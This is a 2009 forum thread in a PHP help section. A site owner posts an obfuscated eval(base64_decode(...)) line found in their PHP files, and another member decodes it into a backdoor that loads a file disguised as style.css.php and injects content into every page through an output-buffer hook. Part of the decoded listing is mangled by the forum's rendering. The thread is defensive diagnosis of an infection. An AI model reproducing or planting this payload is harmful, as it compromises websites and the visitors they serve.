Tycoon Talk
Become a Big fish!
The number 1 forum for online business!
Post topics, ask questions, share your knowledge.
Tycoon Talk is part of Freelancer.com - find skilled workers online at a fraction of the cost.

PHP Forum


You are currently viewing our PHP Forum as a guest. Please register to participate.
Login



Freelance Jobs

Reply
I need educating here please
Old 05-22-2009, 03:35 PM I need educating here please
gamefreaked's Avatar
Super Talker

Posts: 141
Trades: 1
Hi whats this i found on my php files? ...eval base 64 code string ....any ideas? thanks
__________________

Please login or register to view this content. Registration is FREE


Please login or register to view this content. Registration is FREE


Please login or register to view this content. Registration is FREE
gamefreaked is offline
Reply With Quote
View Public Profile
 
 
Register now for full access!
Old 05-22-2009, 03:56 PM Re: I need educating here please
NullPointer's Avatar
Will Code for Food

Posts: 2,815
Name: Matt
Location: Irvine, CA
Trades: 0
I can't say for sure unless you post the code (which you should always do when asking a question like this).

I think what's going on is that, whoever wrote the code is trying to obscure the content by encoding and decoding it. That's my best guess based on the details you provided, if you post the code I'll be able to tell you for certain.

By the way, eval() evaluates a string as PHP code.
__________________

Please login or register to view this content. Registration is FREE
|
Please login or register to view this content. Registration is FREE
|
Please login or register to view this content. Registration is FREE
|
Please login or register to view this content. Registration is FREE
NullPointer is offline
Reply With Quote
View Public Profile Visit NullPointer's homepage!
 
Old 05-22-2009, 04:33 PM Re: I need educating here please
gamefreaked's Avatar
Super Talker

Posts: 141
Trades: 1
<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl 9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXsk R0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG 9tZS9mcmVlYWMvcHVibGljX2h0bWwvZm9ydW1zL1RoZW1lcy9j bGFzc2ljL2ltYWdlcy90b3BpYy9zdHlsZS5jc3MucGhwJykpe2 luY2x1ZGVfb25jZSgnL2hvbWUvZnJlZWFjL3B1YmxpY19odG1s L2ZvcnVtcy9UaGVtZXMvY2xhc3NpYy9pbWFnZXMvdG9waWMvc3 R5bGUuY3NzLnBocCcpO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21s JykmJiFmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe2lmKCFmdW 5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpe2Z1bmN0aW9uIGd6 ZGVjb2RlKCRkKXskZj1vcmQoc3Vic3RyKCRkLDMsMSkpOyRoPT EwOyRlPTA7aWYoJGYmNCl7JGU9dW5wYWNrKCd2JyxzdWJzdHIo JGQsMTAsMikpOyRlPSRlWzFdOyRoKz0yKyRlO31pZigkZiY4KX skaD1zdHJwb3MoJGQsY2hyKDApLCRoKSsxO31pZigkZiYxNil7 JGg9c3RycG9zKCRkLGNocigwKSwkaCkrMTt9aWYoJGYmMil7JG grPTI7fSR1PWd6aW5mbGF0ZShzdWJzdHIoJGQsJGgpKTtpZigk dT09PUZBTFNFKXskdT0kZDt9cmV0dXJuICR1O319ZnVuY3Rpb2 4gZGdvYmgoJGIpe0hlYWRlcignQ29udGVudC1FbmNvZGluZzog bm9uZScpOyRjPWd6ZGVjb2RlKCRiKTtpZihwcmVnX21hdGNoKC cvXDxib2R5L3NpJywkYykpe3JldHVybiBwcmVnX3JlcGxhY2Uo Jy8oXDxib2R5W15cPl0qXD4pL3NpJywnJDEnLmdtbCgpLCRjKT t9ZWxzZXtyZXR1cm4gZ21sKCkuJGM7fX1vYl9zdGFydCgnZGdv YmgnKTt9fX0=')); ?>
__________________

Please login or register to view this content. Registration is FREE


Please login or register to view this content. Registration is FREE


Please login or register to view this content. Registration is FREE
gamefreaked is offline
Reply With Quote
View Public Profile
 
Old 05-22-2009, 04:49 PM Re: I need educating here please
Novice Talker

Posts: 9
Trades: 0
Our server got hacked into via ftp before.

The person injected javascript code into our index.html files similar to what u described.

If you didn't put it there, then that could be something to worry about.
__________________

Please login or register to view this content. Registration is FREE

Free Pay Per Click for Webmasters
sc_king is offline
Reply With Quote
View Public Profile
 
Old 05-22-2009, 06:35 PM Re: I need educating here please
NullPointer's Avatar
Will Code for Food

Posts: 2,815
Name: Matt
Location: Irvine, CA
Trades: 0
Decoded:
PHP Code:
<?php
if(function_exists('ob_start')&&!isset($GLOBALS['sh_no']))
{    
$GLOBALS['sh_no']=1;
    if(
file_exists('/home/freeac/public_html/forums/Themes/classic/images/topic/style.css.php'))
    {
        include_once(
'/home/freeac/public_html/forums/Themes/classic/images/topic/style.css.php');
        if(
function_exists('gml')&&!function_exists('dgobh'))
        {
            if(!
function_exists('gzdecode'))
            {
                function 
gzdecode($d)
                {
                    
$f=ord(substr($d,3,1));
                    
$h=10;$e=0;
                    if(
$f&4)
                    {
                        
$e=unpack('v',substr($d,10,2));
                        
$e=$e[1];$h+=2+$e;
                    }
                    if(
$f&8)
                    {
                        
$h=strpos($d,chr(0),$h)+1;
                    }
                    if(
$f&16)
                    {
                        
$h=strpos($d,chr(0),$h)+1;
                    }
                    if(
$f&2)
                    {
                        
$h+=2;
                    }
                    
$u=gzinflate(substr($d,$h));
                    if(
$u===FALSE)
                    {
                        
$u=$d;
                    }
                    return 
$u;
                }
            }
            function 
dgobh($b)
            {
                
Header('Content-Encoding: none');
                
$c=gzdecode($b);
                if(
preg_match('/\]*\>)/si','$1'.gml(),$c);
            }
            else
            {
                return 
gml().$c;
            }
        }
        
ob_start('dgobh');
    }
}}
?>
__________________

Please login or register to view this content. Registration is FREE
|
Please login or register to view this content. Registration is FREE
|
Please login or register to view this content. Registration is FREE
|
Please login or register to view this content. Registration is FREE
NullPointer is offline
Reply With Quote
View Public Profile Visit NullPointer's homepage!
 
Old 05-23-2009, 08:25 AM Re: I need educating here please
gamefreaked's Avatar
Super Talker

Posts: 141
Trades: 1
Thanks er what do i do next? plz
__________________

Please login or register to view this content. Registration is FREE


Please login or register to view this content. Registration is FREE


Please login or register to view this content. Registration is FREE
gamefreaked is offline
Reply With Quote
View Public Profile
 
Reply     « Reply to I need educating here please
 

Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are Off
Pingbacks are Off
Refbacks are Off





   
RSS Feed  Feeds: RSS   JS   XML
RSS Feed  Feeds for this forum: RSS   JS   XML



Page generated in 0.23158 seconds with 12 queries